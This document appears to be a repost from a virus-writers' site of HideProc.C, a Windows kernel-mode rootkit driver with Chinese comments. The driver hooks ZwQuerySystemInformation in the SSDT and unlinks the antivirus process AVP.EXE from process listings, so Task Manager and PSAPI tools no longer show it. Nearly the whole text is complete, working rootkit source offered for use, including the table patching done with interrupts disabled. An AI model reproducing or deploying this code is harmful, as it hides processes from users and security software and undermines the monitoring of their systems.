VX Z0ne

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http://romio64.blogbus.com/logs/6051228.html

/*
##################################################################
   HideProc.C

   Author   :robinh00d[F-13 Lab]
   Email    :cr4zyexpl0rer_at_gmail.com
   HomePage   :http://cr4zyexpl0rer.googlepages.com
   Last Updated :2006-03-23
   个人练习之作，都是几年前的老技术了
   基本上是copy别人的代码
   通过HOOK SSDT来实现对指定进程的隐藏
   windows自带的任务管理器以及PSAPI都是利用ZwQuerySystemInformation
   来实现进程的遍历
##################################################################
*/

#include "dbghelp.h"
#include "HideProc.h"
#include "ntddk.h"
#include "stdlib.h"

typedef struct ServiceDescriptorEntry {
     unsigned int   *ServiceTableBase;
     unsigned int   *ServiceCounterTableBase;
     unsigned int   NumberOfServices;
     unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t ;

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable ;

#define SYSTEMSERVICE(_fun) KeServiceDescriptorTable.ServiceTableBase[*(PLONG) ((PUCHAR)_fun +1)]

struct _SYSTEM_THREADS
{
LARGE_INTEGER    KernelTime;
LARGE_INTEGER    UserTime;
LARGE_INTEGER    CreateTime;
ULONG      WaitTime;
PVOID      StartAddress;
CLIENT_ID     ClientIs;
KPRIORITY     Priority;
KPRIORITY     BasePriority;
ULONG      ContextSwitchCount;
ULONG      ThreadState;
KWAIT_REASON    WaitReason;
};

struct _SYSTEM_PROCESSES
{
     ULONG      NextEntryDelta;
     ULONG      ThreadCount;
     ULONG      Reserved[6];
     LARGE_INTEGER    CreateTime;
     LARGE_INTEGER    UserTime;
     LARGE_INTEGER    KernelTime;
     UNICODE_STRING    ProcessName;
     KPRIORITY     BasePriority;
     ULONG      ProcessId;
     ULONG      InheritedFromProcessId;
     ULONG      HandleCount;
     ULONG      Reserved2[2];
     VM_COUNTERS     VmCounters;
     IO_COUNTERS     IoCounters;
     struct _SYSTEM_THREADS Threads[1];
} ;

typedef NTSTATUS
(*ZWQUERYSYSTEMINFORMATION)(ULONG SystemInformationCLass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength
) ;

ZWQUERYSYSTEMINFORMATION OriZwQuerySystemInformation ;

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass,
              IN PVOID SystemInformation,
              IN ULONG SystemInformationLength,
              OUT PULONG ReturnLength) ;

VOID HidefileUnload(IN PDRIVER_OBJECT DriverObject) ;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) ;
NTSTATUS HidefileDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) ;

#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, HidefileDispatch)
#pragma alloc_text(PAGE, HidefileUnload)
#endif // ALLOC_PRAGMA

NTSTATUS
HidefileDispatch(
      IN PDEVICE_OBJECT   DeviceObject,
      IN PIRP      Irp
      )
{
     Irp->IoStatus.Information = 0;

     Irp->IoStatus.Status = STATUS_SUCCESS;
     IoCompleteRequest(Irp, IO_NO_INCREMENT);

     return STATUS_SUCCESS ;
}

VOID
HidefileUnload(
       IN PDRIVER_OBJECT   DriverObject
       )
{
//恢复ZwQuerySystemInformation入口
__asm cli
   (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = \
   OriZwQuerySystemInformation ;
__asm sti
  
}

/*
##################################################################
自定义的ZwQuerySystemInformation
过滤掉指定的进程
##################################################################
*/

NTSTATUS
NewZwQuerySystemInformation(ULONG SystemInformationCLass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength
)
{
NTSTATUS ntStatus ;
ANSI_STRING ProcName ;

ntStatus = OriZwQuerySystemInformation(SystemInformationCLass, \
           SystemInformation, \
           SystemInformationLength, \
           ReturnLength) ;

//如果执行成功
if (NT_SUCCESS(ntStatus))
{
   //如果是SystemProcessedAndThreadsInformation
   if (5 == SystemInformationCLass)
   {
    struct _SYSTEM_PROCESSES *pCurrSP = (struct _SYSTEM_PROCESSES *)SystemInformation ;//当前指针
    struct _SYSTEM_PROCESSES *pPrevSP = NULL ;//上一个指针
  
    //遍历进程链表,过滤指定的进程名

    while(pCurrSP)
    {
     RtlUnicodeStringToAnsiString(&ProcName, &pCurrSP->ProcessName, TRUE) ;
    
     if ((0 < ProcName.Length) && (255 > ProcName.Length))
     {
      //隐藏AVP的进程
      if (!memcmp(ProcName.Buffer, "AVP.EXE", 11))
      {
       DbgPrint("Can You Find The AVP? ;-)") ;

       //遍历进程链表
       if (pPrevSP)
       {
        if (pCurrSP->NextEntryDelta)//是中间的进程
        {
         pPrevSP->NextEntryDelta += pCurrSP->NextEntryDelta ;
        }
        else//是末尾的进程
        {
         pPrevSP->NextEntryDelta = 0 ;
        }
       }
       else
       {
        if (pCurrSP->NextEntryDelta) //是链表中第一个进程
        {
         (unsigned char *)SystemInformation += pCurrSP->NextEntryDelta ;
        }
        else //是链表中的唯一一个进程
        {
         SystemInformation = NULL ;
        }
       }
      }
     }
     RtlFreeAnsiString(&ProcName);

     pPrevSP = pCurrSP ;

     if (pCurrSP->NextEntryDelta)
     {
      (unsigned char *)pCurrSP += pCurrSP->NextEntryDelta ;
     }
     else
     {
      pCurrSP = NULL ;
     }
    }
   }
}
return ntStatus ;
}

NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT   DriverObject,
IN PUNICODE_STRING   RegistryPath
)
{
int      i = 0 ;

DbgPrint("Driver Loaded Success!") ;

for (; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
   DriverObject->MajorFunction[i] = HidefileDispatch ;
}

DriverObject->DriverUnload = HidefileUnload ;

OriZwQuerySystemInformation = \
        (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) ;
__asm cli
(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation)) = \
                  NewZwQuerySystemInformation ;
__asm sti

return STATUS_SUCCESS ;
}